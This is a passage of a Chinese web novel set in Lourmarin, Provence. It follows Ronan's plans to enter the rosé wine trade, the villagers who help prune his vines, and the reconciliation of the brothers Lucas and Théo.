“看来你真的不了解‘新酒农’啊,平价市场我们很难攻入,从大城市来的酒商做的全部是中高端和精品线。” 在结账的时候,罗南对‘新酒农’有了更为全面的了解。 在路边他可以花30法郎买一升散装果渣白兰地,但在这个酒厂,750ml每瓶的白兰地最便宜的也要100。 “他是靠客单价做到古尔村‘最大’的。”这是佐伊坐上车和罗南说的第一句话。 佐伊和罗南都是‘不差钱’的人,离开的时候后备箱里装了两箱酒。 味道确实不错是一方面,另一方面罗南在这里也的确‘学’到了东西,就当是交学费了。 “满载而归!”罗南发动了车子。 佐伊知道他指的当然不是酒,好奇的问: “收获还满意吗?” 罗南的表情严肃了下来: “挺满意的,不过这个行业比开餐厅复杂多了。” 酒区分平价、中高端和精品线。 根据罗南的了解,斯特斯加也有很多线,但高端酒基本上没有什么销量。 走亲民路线肯定是主流方向,但靠卖20一瓶的粉红酒.要卖多少瓶才能赚到钱呢? 怪不得杰罗姆总说自己在‘破产’的边缘! 客户群窄、不被人喜欢、客单价还低这些遗留问题未来都需要罗南一个一个去解决。 佐伊思考了一下,建议道: “不过我觉得今天有一个对你来说很不错的收获。” “新酒农吗?”罗南问。 佐伊笑着看罗南,没想到他们又心有灵犀了: “就像这个人说的,平价市场很难攻入,你去那些知名酒庄学习同样也很难收获什么,可以尝试着找找新酒农开的酒庄,你们背景相同交流起来更容易一些,也可以学学他们做高端线的经验。” 她用开玩笑的语气说: “听他的意思,来普罗旺斯从事酒行业的都是‘成功人士’,想必都有些手段,你看这个人,酒卖的这么贵不也活下来了?” 罗南点头: “我也是这么想的,无头苍蝇一样的‘学习’效率不高,这是其中一条明确的方向。” 斯特斯加肯定不算是一个成功的酒庄,罗南必须要改变它原先的经营模式,说不定是大刀阔斧的改,所以要学习和借鉴的地方太多了。 佐伊乖乖的坐回去: “我们都通过身边的朋友问问。” “好。”罗南笑着说。 论‘朋友网’佐伊现在不输罗南。 连马赛奥林匹克队当家球星的签名球衣她都可以在短短几天内弄到。 有了她的帮助,相信下次的‘求学’计划很快就能提上日程。 这次外出买的烈酒太多了。 靠罗南和佐伊两个人完全喝不完,即使加上两个家庭也很难。 回到餐厅,罗南拿出了几瓶分给农夫们。 罗南平时给大家的照顾就很多了。 又是介绍工作,还给家里的女人们赚钱的机会,现在又分给他们很贵的酒。 农夫们在私下一合计,不能一直白拿罗南的好处啊,他家门口葡萄园的枝子还没剪完呢,咱们去给他剪了吧? 就这样,农夫一传十,十传百自发的去罗南家干活了。 罗南说了两次不用,他们也不听,索性也就不说了。 某一天早上,罗南看到皮埃尔也来了,凑过去打听: “为什么卢尔马兰附近的葡萄园这么零散?从来没有人拥有过一大片葡萄园吗?” 这个问题从古尔村回来就一直存在于他的心里,罗南猜皮埃尔一定知道答案。 皮埃尔皱着眉头反问罗南: “没有人给你科普过卢尔马兰的种植史吗?” 罗南摇头: “没有。” 皮埃尔点了一根烟: “那我给你讲讲吧。” 罗南知道这一定是一个很长的故事,但他一会还要进山: “长话短说?” 皮埃尔把烟点燃: “卢尔马兰之前的几百年一直是吕贝隆重要的橄榄种植区,近几十年才开始改种葡萄。” “为什么?”罗南一脸不解。 皮埃尔吐了一口烟圈: “因为1956年的那场大霜冻。” 第287章 抢着‘报恩\’ 这是罗南第二次听到有人提起1956年的那场大霜冻。 11月去位于戈尔德的橄榄种植园采摘橄榄时,帕斯卡也给罗南讲述起过这件事。 在帕斯卡的描述中,因为这起自然灾害,普罗旺斯的橄榄油业险些全军覆没,直至近几年才恢复了一些。 结合之前的了解,他揣度道: “卢尔马兰也受灾了?” 皮埃尔一边咧嘴一边摇头,表情难看极了: “岂止是受灾,卢尔马兰是重灾区.由于地势的原因,这一片山谷的温差起伏更大,80%以上的橄榄全部冻死了。” 他伸出右手,像‘指点江山’一样在面前划了一个很大的圆: “以前这附近是成片的橄榄园,因为那场自然灾害,大农户纷纷把地卖了转行去做别的,但那场霜冻对农业的冲击实在太大,没有一个有钱人敢接手,地全部被散户买了。” 罗南啧了一声,皱着眉头问: “不再种橄榄了?” 卢尔马兰附近的橄榄园可不多啊。 皮埃尔摇头: “怕了,橄榄的抗寒能力太差,而且你没发现大伙种的葡萄品种也特别多、特别杂吗?很多人抛弃了地中海传统品种,改种抗寒能力更强的慕合怀特和克莱雷等,最近这十几年才又大面积种回歌海娜和西拉。” 罗南感慨的叹气: “大自然真是一个喜怒无常的工作伙伴。” 不过皮埃尔的话又提醒了罗南一件非常重要的事。 康奈尔曾给罗南科普过卢尔马兰附近十几种葡萄的酿酒用途,他记得这里面不是所有品种都可以在酿制粉红酒的过程中用上。 未来罗南能利用上多少? 他拍了拍皮埃尔的肩膀: “辛苦了。” 皮埃尔对罗南摆手,示意他赶紧去忙正事: “我们都没对你说感谢,你还客气上了?快去吧,很快就给你剪完了。” 新的一年,卢卡斯和特奥的往来变得密集了。 倒不是卢卡斯格外照顾弟弟,而是特奥经常会主动给父母家送吃的和喝的,好像一下子‘长大’了。 没错,在卢卡斯眼中,他那个三十好几的弟弟特奥跟个孩子一样,不好好赚钱、也不好好生活,什么事儿能拖一天是一天,懒的不得了。 之前家庭的重任都压在大哥卢卡斯身上,现在特奥给他分担走了很大一部分,和往年相比,好面子又习惯了当哥哥的卢卡斯现在反而会更频繁的去‘照顾’一下弟弟。 家里有什么好东西,给父母送完一份之后,会再给特奥送一份。 这不,上午卢卡斯和朋友去山里打了一点野味,下午就给特奥送来了。 “特奥去喝酒了?”卢卡斯放下东西,发现家里只有特奥的妻子丽贝卡和女儿安娜。 丽贝卡指着一个方向说: “没有,给罗南剪枝子去了。” 卢卡斯在做松露猎人之前也是个农夫,有些意外的问: “都1月中了,罗南家的葡萄枝还没剪完?” 这活最晚到1月底必须干完,怎么拖到现在了? 丽贝卡感慨的说: “罗南要忙的事太多了,要开餐厅,要进山,要给大家接订单和介绍活儿干,听说月底还要去参加一个什么艺术活动.他把大伙照顾的那么好,都没时间顾自己了。” 卢卡斯笑着摇头: “年轻人就是能折腾,把地包出去呗,那么多佃农。” 丽贝卡回忆着特奥说过的理由给卢卡斯解释: “罗南从巴黎来普罗旺斯就是为了体验这种田园生活,他说种地更多的是心里上的满足,就是最近实在太忙,时间倒腾不开前天他又给大家拿来了一批订单,真是辛苦他了。” 她一边收拾东西,一边小声的咕哝: “罗南确实爱折腾,但不全是为了自己折腾,很大一部分是为了帮大家,要不不可能这么多人主动去给他帮忙,能还一点是一点啊总让他帮忙,我们心里也过意不去。” 卢卡斯低头默默听着,没有说话。 出了特奥家,卢卡斯没有开车回去,而是鬼使神差的走去了罗南家。 他第一次在冬季的葡萄园里看到了像秋天一样热闹的景象。 罗南家的葡萄园里至少有三个收音机同时开着,并播放不同的频道。 二十多个农夫说说笑笑的干活,聊天的声音都快压过收音机里的歌声了。 如果不是偶尔吹来几缕寒风,卢卡斯会以为这是要开春了。 大伙见卢卡斯来了,热情的对他打招呼: “嘿!卢卡斯,来找罗南吗?他进山了!” “不找罗南,我来找特奥。”卢卡斯站在柏油马路上点了一根烟。 特奥离开一群打打闹闹的农夫,向卢卡斯走来: “你今天没带玛格丽特去挖松露?” 卢卡斯给特奥递了一根烟: “我上午去打猎了。” 稍远一些的农夫们羡慕的看过来: “今天又带的哪把猎枪?是不是你在马赛花3000法郎买的那个?” 特奥嘻嘻哈哈的说: “3000的算个屁,卢卡斯有好几把5000法郎以上的猎枪呢!” “真是令人羡慕的人生啊。” “卢卡斯,哪天带我去打猎,让我也试试你的好枪!” “就明天怎样样?” 卢卡斯笑着和农夫们聊了几句,看看弟弟说: “我刚去你家送野味,丽贝卡说你在这,我过来看看。” 特奥第一反应是: “给爸爸妈妈们送了吗?我家什么都不缺,你先给他们。” 卢卡斯欣慰的说: “我先去给他们送的,才来的你这里。” 特奥这才放下心来,把烟点着: “那就好,罗南今年帮了我不少忙,我过来给他干点活。” 卢卡斯觉得特奥真是成长了不少,懂得关注身边人的感受了也是因为罗南的影响吗? “还差多少?”卢卡斯看着葡萄园问。 特奥用大拇指指身后: “人多再来一两天就能干完,这要是罗南自己干,估计得一周多。” 卢卡斯沉默了几秒,转身向回走: “你们忙吧,我走了。” 特奥在身后叫他: “诶!你去我家拿两只兔子走,特别肥,烤着吃特别棒!” 卢卡斯对着身后摆手: “好。” 一阵寒风吹来,险些把卢卡斯手里的烟吹掉。 葡萄园里马上传出一阵阵咒骂声,抱怨该死的天气。 卢卡斯转头,想对特奥说刮风了,要不然明天再来? 但特奥却大声对农夫们嚷嚷: “抓紧干,赶紧干完让罗南安心干别的,之后越来越凉了。” 农夫们停止了休息和抽烟,同时加快了手里的动作。 卢卡斯停在路边,看向葡萄园里陌生的特奥。 罗南真是一个制造‘奇迹’的魔术师啊这还是那个好吃懒做的特奥吗? 卢卡斯把烟掐了,跳进葡萄园里。 “你怎么下来了?”特奥一脸吃惊的看向正在脱夹克的卢卡斯。 卢卡斯从地上捡起一副破手套,语气轻松的问: “咱俩好久没一起干活了吧?” 特奥摸着脑袋回忆: “好久了得有七八年了。” 卢卡斯揪下一截垂落的葡萄藤: “秋天我来帮你收葡萄。” “啊??”特奥以为自己听错了。 卢卡斯催促道: “赶紧干吧,晚上我不走了,去你家吃烤兔子。” 卢尔马兰的一切都在变化,包括他的弟弟特奥。 我为什么就不能变一变呢? ‘噗——’ 罗南把一整口热水吐到特奥脸上: “下午卢卡斯也来帮忙了?” 特奥已经习惯了晚上吃完饭去罗南那喝两杯,见到罗南回来,自然把下午的事儿跟他说了。 “*****”特奥骂骂咧咧的擦了一把脸,“这么多个脑袋,你为什么独独喷到我的脸上?” 罗南歉意的拿纸粗鲁的给他擦脸: “因为这是你说的啊。” 特奥甩了两下头: “是啊,我也没想到,卢卡斯好多年没有干农活了。” “卢卡斯说什么了吗?”罗南问他。 特奥摇头: “没有,晚上在我家吃完饭就走了,什么都没说。” 其他农夫多多少少都受到过罗南的‘帮助’,来干活了就干活了。 但罗南和卢卡斯没有什么实际的‘交集’,他是有心帮卢卡斯,但只停留在嘴上,目前还没有什么实际能做的。 年纪稍长的法比安安慰罗南: “不用太紧张,卢卡斯也是咱们的兄弟,请他喝顿酒就行了。” 罗南若有所思的点头,感激的对大家说: “谢谢你们了。” 特奥指着罗南,用警告的语气说: “再说谢谢我跟你翻脸啊,这么点小事,天天说烦不烦。” 难道我每在家里编一个花环就要对你说一次谢谢吗? 干完了森林局的活儿,农夫们的制服没有了。 不过亨利现在换上了一件干净的新皮夹克,比穿制服还神气。 他期待的问: “罗南先生,再有半天枝子就能剪完了,还有其他可以帮助你的吗?” 农夫们去罗南家帮忙完全在还他的‘恩情’。 而这其中最该向罗南‘感恩’的就是亨利了。 他恨不得把心掏出来给罗南! 罗南想了一下,轻轻拍了一下桌子: “你别说,还真有一个。” 亨利期待的看过去,但罗南却错开了和他相对的眼神,看向正安静喝酒的康奈尔: “康奈尔,有件事我想让你去帮我干一下。” 第288章 一个人知道全村就会知道,所以不能说! 康奈尔的眼睛闪烁出期待的光芒,不等罗南说什么内容,先答应了下来: “可以!” 罗南给了他母亲阿克尼娜比之前更高的村内地位,她现在扮演的是之前皮雷的角色,而且赚得更多了。 谈到向罗南‘报恩’,康奈尔也有许多话要讲。 亨利用力挥手,以吸引罗南的注意力: “罗南先生,请交给我吧,我什么都可以干!” “脏手别在我脸前晃!”特奥嫌弃的把亨利的手拍开,叼着烟对罗南说,“什么事啊,我最近没事干,我去给你跑。” 罗南笑着对大家摆手: “这事康奈尔最合适。” 特奥马上不服气了,表情夸张的嚷嚷: “你瞧不起谁呢?” 罗南直视特奥的眼睛: “你懂酿酒吗?你去酒庄和酿酒合作社里帮过忙吗?” 特奥立即噤了声。 罗南又问其他人同样的问题。 大家纷纷移开了目光。 康奈尔像是着急发言的学生,举着手说: “我懂!我什么都懂!” 罗南没有避讳其他人,直接对康奈尔说: “我想让你帮我统计一下,咱们周围葡萄园里每一种葡萄的种植面积。” “这个我也能统计啊,罗南先生!”亨利龇着牙说。 这不有手有嘴就能做? 罗南示意亨利别着急,他话还没说完呢. 他看着康奈尔继续说道: “只统计可以酿制成粉红酒的品种,白葡萄酒需要的那些就不用算了。” 康奈尔专业的问: “常用和不常用的全部统计进去吗?” 每一家酒厂的酿制手法不同,所需的葡萄搭配也不同。 罗南未来不一定会完全沿用杰罗姆的原有配方,因此需要什么葡萄现在还很难讲.所以要统计所有。 这件事交给有一定酿酒知识,且对这些感兴趣的康奈尔最合适。 “是的,全部统计。”罗南正色道。 康奈尔重重点头: “没问题!还有其他的吗?” 罗南想了一下,摇头道: “暂时没有了,统计好了随时告诉我。” 特奥一脸疑惑的问罗南: “你统计这些干什么,而且还只要能做粉红酒的,你不会是要——” 罗南举起杯子打断了特奥的话: “不会是什么呀喝酒吧你!” 在卢尔马兰,一个人知道的消息,很快全村就会知道。 万一布兰科发现,他居然是最后一个知道罗南想要开酒庄的人罗南去要钱时怎么好意思张嘴啊?! 不过又过去了一个月,布兰科他们准备的怎么样了? 那些出去学习的人回来了没有? 年底布兰科把人手都安排出去学习粉红酒的历史文化知识,以装扮商业街上即将在春天开业的博物馆。 经过了一个月左右的时间,希尔维等人除了完成各自认领的学习任务,还带回来了不少行业消息。 “截止去年年底,沃克吕兹省一共有45家合作社和酒庄在生产粉红酒,其中只做粉红酒的合作社和独立酒庄有18家,其余全部是多种酒类同时生产.而这其中合作社占主导地位,以粉红酒为核心产品的‘粉红酒庄’只有5家。” 布兰科问希尔维: “它们的经营情况怎么样?” 希尔维耸肩: “这还需要问吗?都不太好统计数据里有3家粉红酒酿酒合作社是在近2年内开业的,他们以为自己找到了一个竞争相对小的‘赛道’.没想到根本没有道,聊天时听他们说,只做粉红酒的酿酒合作社倒闭率非常高。” 布兰科情绪没有任何波澜,平和的问: “有打听到他们开酿酒合作社的投入是多少吗?” 希尔维点头: “当然,你特意交代要打听他们的投入,小型酿酒合作社的投入在35万-75法郎之间,中型的100-200万法郎,大型的.大型的我没去了解。” 她合上笔记本对布兰科说: “即使拿到了沃克吕兹省旅游局的预算,我们也没办法拿出那么多钱支持罗南开粉红酒合作社吧?” 克劳德看向布兰科: “如果成功申请下来预算,我们都非常支持你要劝说罗南建一个酒厂的决定,就像你说的,一旦特色道路选定,卢尔马兰必须要拥有一个属于自己的粉红酒生产线,能担起这个重任的人选只有、也只能是罗南,只有他拥有号召全村人一起动起来的能力.但是布兰科,我们要花钱的地方还有许多呢,不能全部投入到那个酒厂里。” 布兰科喝了一口咖啡,眼眸平静的像是一汪湖水: “现在所说的是‘最好的情况’下,有可能会发生的事,而且这些数字是对于私人酒厂而言需要投入的,政府要扶持村民建酒厂,预算就不是那样算了。” “你就是太‘宠’罗南了!”希尔维无语的摇头,随后又语气复杂的小声咕哝,“但罗南确实值得咱们在他身上投入之前在他身上押的宝全部赌对了。” 布兰科的眼神变得柔和起来: “罗南为卢尔马兰做的太多了.没有他做的那些事,1个月后交上去的那份计划书会是什么样的?我们会自信的在这里‘提前准备’拿到预算之后的工作吗?” 卢尔马兰政府对下一次申请到预算充满了信心。 这种面貌的卢尔马兰都无法让旅游局把视线注意过来,沃克吕兹省就没有其他值得投入的村庄了! 他们现在担心的只是预算多或少的问题。 布兰科继续给身边的几个人安排工作: “下一步在继续了解粉红酒产业的同时,也找一找有没有可能收购一个做的不错的酿酒合作社或者独立酒庄,如果多付出一些可以让发展变得更加容易,这也是个可以考虑的方向。” 克劳德长长的叹了一口气: “你不打算让罗南也出点吗?他那么有钱” 布兰科也叹气道: “正因罗南有钱,才有可能会拒绝我们的提议,他想赚钱可选择的路径太多了,为什么要开酒厂?让他少费点心和力,‘谈判’的时候才能更加顺利,在这件事情上,我们没有任何备选方案,必须孤注一掷的让罗南接下。” 希尔维问布兰科: “所以我们了解粉红酒厂的消息依然要对全部村民保密?直至申请到预算那天?” 布兰科郑重的点头: “对,一个村民知道,全部村民都会知道这个消息,那么罗南也会知道,他可以有无数个办法阻挠这件事落到自己头上,为了万无一失,必须要保密到最后一刻!” 想着卢卡斯去葡萄园帮了一下午的忙,罗南一直打算找个时间请卢卡斯吃一次饭或者喝一次酒。 但他一进山就会忘记时间这种东西的存在,因为那种赚钱的滋味实在太诱人了.罗南不想浪费一点时间提前回来。 升级后的【采集】让他采松露的效率大大提升,今年又是松露的丰收年,罗南每天回家都能拿回来一大袋子松露,最好的一天足足有7公斤! 虽然松露价格不及去年,但7公斤也能卖1万法郎。 如果偶尔出一颗精品松露,再加上餐厅、编织和摆摊的收入,1月和2月罗南完全有机会收入30万法郎及以上。 这样在三月前,他说不定能凑够八九十万法郎。 万一再幸运一点,今年的松露采摘季比较长,可以延续到3月中,罗南都有机会把买下斯特斯加酒庄的钱赚出来! 这么一想他更想天天进山了!! 好不容易等到了周五,卢尔马兰的集市一结束,罗南就给卢卡斯打电话,想把他约出来。 没想到卢卡斯的妻子说,卢卡斯已经出门了.而且目的地就是罗南的餐厅,算算时间应该马上就到了。 大约3分钟后,罗南在餐厅门口见到了手里拎着两只雉鸡的卢卡斯。 “你去打猎了?”罗南一脸惊讶。 卢卡斯甩着手里的雉鸡,笑着说: “玛格丽特每周要休息一天,在家里也没事,那天我都会和朋友出去打猎。” 罗南更惊讶了,指着他手里的东西问: “你打到的?” 卢尔马兰居然真有能打到东西的人啊? 卢卡斯皱眉: “当然,我今天上午还打到了山鹑、斑鸠和野鸭,不过送到我父母和特奥家了。” 他把雉鸡放到罗南面前: “这两只雉鸡是给你的。” 罗南没伸手,不好意思的说: “你怎么还给我拿野味啊?” 卢卡斯去罗南家帮忙剪葡萄枝子,罗南还没来及感谢.这怎么又送东西来了? 卢卡斯大笑着把雉鸡塞到罗南的手里,豪爽的说: “当然是为了感谢你了,还能为什么?” 罗南疑惑的皱起眉头: “感谢我?我没帮过你什么。” 卢卡斯的笑容收敛了一些,嗓音也低沉了下去,他没敢看罗南的眼睛,而是看向了别处: “感谢你一直帮助特奥,也感谢你让特奥变得更好了。” 罗南的表情有一刹那的错愕,随即拍了一下卢卡斯的肩膀: “进去吧,今天好好喝两杯。” 卢卡斯觉得卢尔马兰陌生。 罗南又何尝没有觉得卢卡斯陌生呢? 不过这种陌生感让罗南很开心,也很感动 在罗南心中,卢卡斯一直是一个值得尊敬的真男人。 现在,这个真男人更加丰满和立体了。 第289章 骄傲的卢卡斯 罗南把两只雉鸡送到后厨,又拿了两瓶餐厅里最好的葡萄酒,之后坐到卢卡斯对面: “我刚给你家打完电话,想把你喊来,没想到你先来了。” 卢卡斯看向罗南: “找我有事?” 罗南主动给卢卡斯倒酒,带着歉意说: “听说你去我葡萄园干了一下午活,我也得感谢你啊,这事怪我一直拖到今天。” 卢卡斯无所谓的挥了下手: “小事,赚钱要紧,要我说你周五周六也不该去摆摊了,或者去一天,年轻多赚点钱最重要。” 全卢尔马兰人都知道罗南的‘工作时间安排’。 周五周六上午他分别去卢尔马兰和梅纳村集市摆摊,下午在餐厅里帮忙,其余日子想要找他得天黑之后了。 所以卢卡斯特意在周五的中午来找罗南。 罗南给自己倒了半杯粉红酒,喝了一口道: “现在摆摊不是为了赚钱,是为了给餐厅宣传和引流,第一年开,需要费心的地方还是挺多的,至少在今年旅行季到来之前不能掉以轻心。” 卢卡斯十分操心的说: “今年的松露好挖,估计明年也差不多是这个情况,还是得多放点精力在松露上。” 卢卡斯同样是一位经验丰富的松露猎人,自然也发现了由于去年是个多雨的年份,松露产量在未来两年都将增长的情况。 罗南抬头看过去: “你今年的收获也不错?” 罗南最近几次见卢卡斯,发现他的状态好了许多,没有去年春天和夏天时的那种焦虑感了,再结合他刚刚的话和语气,想来肯定是最近的经济情况得到了缓解。 卢卡斯喝了一口酒,小幅度点了下头: “虽然松露价格低了,但玛格丽特今年的表现很棒,总体比去年好。” 罗南发自内心的替卢卡斯开心: “那就好。” 卢卡斯用老大哥的语气对罗南说: “我知道你要忙的事情多,但周围那么多兄弟,该用就用,有什么事让特奥去给你办,正好锻炼锻炼他。” 罗南笑着摇头: “特奥已经被你锻炼的很好了,不用再锻炼了。” 特奥常年帮卢卡斯四处办事,是农夫里‘见识’最多最广的那个,无论是待人接物还是周到程度都挑不出毛病唯一的缺点就是懒,但最近也改了不少。 卢卡斯轻轻摇头: “特奥的性子太急,还容易冲动,他只对安娜有耐心,得多磨磨他,要不然有他吃亏的时候。” 罗南把两只胳膊放到桌子上: “平时多说说他就好了,特奥一定会听你的话改改性子,他非常尊敬你。” 卢卡斯哈哈大笑: “那是尊敬吗?那是害怕,我经常骂他。” 罗南正色道: “绝不只是怕,他可能是不好意思和你讲。” 私下里,特奥时常会把卢卡斯挂在嘴边。 说卢卡斯买了什么,又去了哪里,给了他什么,说过什么话语气里全部是掩饰不住的自豪。 罗南能感受的出来,特奥很自豪有卢卡斯这样一个优秀的哥哥。 卢卡斯不想继续这个话题了,看向后厨的位置: “菜还不上吗?没有菜咱俩今天怎么好好喝?” 这一顿饭吃得很开心。 卢卡斯的心态改变了许多,罗南也不是初来普罗旺斯的那个穷小子,两个人聊的有来有回,不仅分享了一些不算是秘密的采松露心得,还约着未来找个时间一起去打一次猎。 卢卡斯说,他不敢保证自己的打猎水平和挖松露一样强,但每次出去都能带回来不少东西。 罗南终于在普罗旺斯找到一个靠谱的猎人了! “这可是你答应我的,必须带我去体验一次打猎的真正魅力。”罗南兴奋的说。 卢卡斯爽朗的大笑起来: “你想去了随时找我。” “太棒了!”罗南兴奋的拍了一下手。 卢卡斯是农夫们的‘老大哥’,罗南是农夫们的‘精神领袖’,这两个家伙凑到一起喝了整整一个下午酒都没有人敢过去打扰。 指不定他们聊的是每个月几十万法郎的大‘生意’呢,那不是普通人该听的! 农夫们只敢远远的看着,小声的议论。 “罗南和卢卡斯走的这么近了?我记得以前他们没什么交集。”有刚进门的农夫好奇的打量过去。 “你懂个屁,这叫强强联合!”特奥大声嚷嚷,“他们是卢尔马兰最强的两个男人!” 那个农夫笑着问特奥: “你不过去吗?他们那桌的酒看着不一般呐,你过去替我们尝尝?” 特奥回头看了一眼,发出一声冷哼: “我什么酒没喝过?卢卡斯家好酒多了去了,去去去,别打扰我喝酒。” 有人好奇的问: “特奥,我见卢卡斯好像换车了他那辆美国的皮卡车呢?” 特奥不耐烦的对他说: “卢卡斯那么有钱,换车不正常吗?开腻了就换,车对于他就跟衣服一样。” 那人一脸期待的问: “换成什么新车了,你见过吗?开出来给我们看看啊!” 另外一个人插嘴道: “我上周见卢卡斯出门开的是他几年前的那辆老越野,没见到新车。” 特奥咂巴了两下嘴: “你们懂个屁,那辆越野是陪着卢卡斯发家的‘老伙计’,必须得时不时开出去转转,要不然容易坏,我说你们哪这么多问题啊?” “不是好奇嘛卢尔马兰就属卢卡斯的好车最多,我们也只能跟着你涨涨见识了。”几个农夫笑着说。 “特奥。” 突然,一道雄厚的声音在他们身后出现。 众人扭头,看到身后两三米的地方站着卢卡斯和罗南。 卢卡斯表情不算多好,罗南的表情也可以用‘复杂’来形容。 特奥扭头,大大咧咧的问卢卡斯: “要走了?” 卢卡斯点头,没什么表情的对特奥说: “安娜要过生日了吧?我给她订了一匹纯血的卡马尔格马,到了我给你打电话,你把它拉回家。” 卡马尔格马被认为是欧洲最古老的马种之一,基因可追溯至史前伊比利亚马。 它主要栖息于普罗旺斯西侧的卡马尔格湿地,属于罗讷河口省内。 卡马尔格马是普罗旺斯最稀有的本地马种,1980年起被严格保护,纯种卡马尔格马必须登记入法国国家马种协会,还禁止杂交。 目前市场价格是5000-20000法郎之间,视血统而异。 “上帝,卡马尔格马?安娜太幸福了!” “特奥,接马那天你记得喊我一起,我和你一起去。” “你家有养它的地方吗?我家有一个空驴棚!” 农夫们叽叽喳喳的说个不停,特奥臭屁的和他们显摆了两句,回头一脸开心的对卢卡斯说: “过两天我带安娜去你家,让她亲自谢谢你!” 卢卡斯轻轻点了一下头,继续向前走,离开了餐厅。 罗南跟在卢卡斯身后,默默叹了一口气。 卢卡斯的性格的确变了一些.但他依然是那个骄傲的卢卡斯。 “以后常过来。”罗南在餐厅门口轻轻拍了一下卢卡斯的胳膊,又指了一下餐厅,斟酌着说,“其实你可以和特奥多聊聊。” 罗南猜卢卡斯和特奥这对兄弟一定极少有深入的交流,否则特奥不会到如今都不知道卢卡斯的实际情况。 而且弟弟那么护着哥哥,哥哥那么关心弟弟.明明可以相处的更好嘛。 卢卡斯低头点了一根烟,不以为然的摇头: “没必要。” 他自然知道罗南话里的隐藏意思是什么。 罗南看向远处的老教堂尖顶,语气平静的说: “特奥没你想的那么差,说不定他还能帮你。” “算了吧——”卢卡斯干笑了两声,“你知道村民是怎么说我的吗?他们说我天生就是当‘爹’的命,一对弟妹像是我的儿子和女儿一样,处处需要我去擦屁股。” 卢卡斯的弟弟特奥是卢尔马兰著名的‘懒鬼’,每年都需要卢卡斯救济才能把日子过下去,妹妹伊莲娜是卢尔马兰响当当的‘麻烦大王’,连个工作都没有。 ‘经济支柱’卢卡斯在家里更像是个‘父亲’的角色。 罗南看着玻璃窗后一脸笑容的特奥说: “我觉得你就是太拿特奥当‘孩子’了,我说真的,特奥挺靠谱的,几个月前收葡萄时正赶上要下暴雨,大家的时间都不够用,但特奥还知道让丽贝卡来安慰我,说他忙完就来帮我你应该多给特奥机会。” 卢卡斯也看了一眼那块玻璃,用调侃的语气问罗南: “他现在这个状态挺好的不是吗?” 回复卢卡斯的只有一道绵长又无奈的叹息。 下午卢卡斯在罗南的餐厅里喝了不少酒,晚上吃饭时他又自己喝了一些。 可能是下午听到农夫们和特奥的对话影响了情绪,吃完饭,卢卡斯独自坐到靠近森林那一侧的大落地窗前继续默默喝酒。 他妻子过来问了丈夫两次怎么了,卢卡斯什么话都不说。 卢卡斯始终一个人默默背负着沉重的压力,没有跟弟弟说过,也没有跟妻子说过这个世界上唯一一个了解实际情况的就是罗南。 周围一切亲戚和朋友,都沉侵在卢卡斯编织的‘人工培育松露’美梦中,兴奋的等待明年或者后年卢卡斯彻底暴富的那一刻.骄傲的卢卡斯怎么会亲自叫醒他们呢? 松露采摘季是卢卡斯过的最舒服的一段日子,到了3月之后怎么办呢? 已经开始有发现异样的人出现这场美梦还能维持多久? 骄傲的头颅是不是终要有低下去的那刻? 就这样一边喝酒,一边胡乱的想着,不知过了多久,卢卡斯突然听到旁边有人叫他的名字,一扭头特奥居然在身边出现了。 “你怎么来了?”卢卡斯揉了一下额头,这一天喝了太多,什么时候多了个大活人都没发现。 特奥坐到卢卡斯的对面: “我来给你送兔子,艾米丽说你心情不太好,让我过来看看你,你怎么了?” 卢卡斯发出一声不屑的鼻息: “艾米丽太敏感了,我能怎么了?就是今天心情不错,多喝了一点。” 特奥没心没肺的点了下头: “我就说嘛,有什么可让你操心的事情呢?” 卢卡斯抬了下下巴,问弟弟: “怎么又送兔子来了?” 特奥家养殖了一些兔子,隔三差五就要送来一两只,烤兔肉都快成了卢卡斯家的固定菜品了。 特奥蔫蔫巴巴的点了一根烟: “你不用给安娜买卡马尔格马,她生日那天咱们一家人好好吃顿饭就好了,你送过安娜很多贵重东西了。” 卢卡斯皱起眉头: “发生什么事了吗?” 这一年变卖了那么多东西,总有敏感的人发现了端倪,所以这不是卢卡斯第一次用‘钱’给自己消除质疑。 有的时候钱花在自己身上,有的时候钱花在了特奥或者其他亲人身上。 以往类似的事情发生后特奥能兴奋好几天,见谁都是一副“我有个有钱的哥哥,你有吗?”的得瑟表情。 这次怎么不要了? 特奥低着头,看着自己的脚尖说: “以前我确实会为此开心,但今天回家后我越想心里越难受” 他语气更加低沉的说: “现在我知道赚钱很辛苦了,所以你别乱花钱,我说真的卢卡斯,不用给安娜买马,你快退了吧。” 特奥以前是个混子,靠卢卡斯的救济度日,花钱不怎么心疼。 最近他开始体会到了赚钱的乐趣,每天编花环的动力比丽贝卡还要足。 说来真的神奇,花别人的钱,请朋友喝酒花100法郎,没有任何感觉。 现在花自己的钱,别说是花100法郎,请人喝一杯酒他的心就开始滴血了.那可是四分之一个花环啊! 这个时候特奥终于意识到——卢卡斯的钱也是他和玛格丽特在森林里靠一块一块松露积攒起来的啊。 那个工作环境比他编花环差多了卢卡斯把钱拿出来的时候肯定更心疼吧? 见卢卡斯不说话,特奥用愤恨的语气自嘲的说: “我总说感谢罗南、感谢罗南,除了感谢他让我赚到了一些钱外,也感谢他让我成为一个‘人’了,以前我过的叫什么日子啊!该死的!” 可能觉得话说的太多、太矫情,特奥站起来,恢复了以往‘吊儿郎当’的模样,叼着烟说: “行了,总之你别给安娜买马了,以后父母那里我和你一起照看着,虽然我没有你赚的多,但这点能力还是有的你之前做的够多了,走了,不用送我。” 特奥大步流星的向外走,生怕卢卡斯给他任何回应。 说出刚刚那些话太难为情了! 他同时暗自嘀咕: 卢卡斯现在一定尴尬死了,那个家伙受不了任何煽情的东西。 不过把憋在心里许久的话说出来轻松多了脚步都轻盈了! 突然,特奥的脖子被人用力捏了几下,随即卢卡斯不带任何情绪的声音出现在一侧: “你知道吗.曾经我有过这样一个奇怪的想法——为什么罗南不是我的弟弟呢?” 特奥一点没生气,嘻嘻哈哈的说: “这个想法一点都不奇怪好吗卢卡斯,卢尔马兰哪个人不希望罗南是他们的儿子、弟弟、哥哥或者丈夫?这太正常不过了。” 卢卡斯又用力捏了一下特奥的脖子: “但我现在一点都不羡慕罗南了,因为我的亲弟弟一点都不比他差,我为有你这样的弟弟而自豪。” 兄弟两人的性格是一样的。 勇敢过后是无尽的悔恨! 卢卡斯有些后悔刚刚的冲动,他打开门送特奥离开: “我今天喝的有点多,话可能也有点多.路上小心。” 特奥站在门外,似笑非笑的说: “我一直为有你这个哥哥而自豪,卢卡斯。” 特奥保持着叼烟的姿势,大大咧咧的把门关上,语气里充满了幸福和开心: “但我今天没喝多。” 第290章 冷清的集市 周六。 不到早上7点维埃里就敲响了罗南家的门。 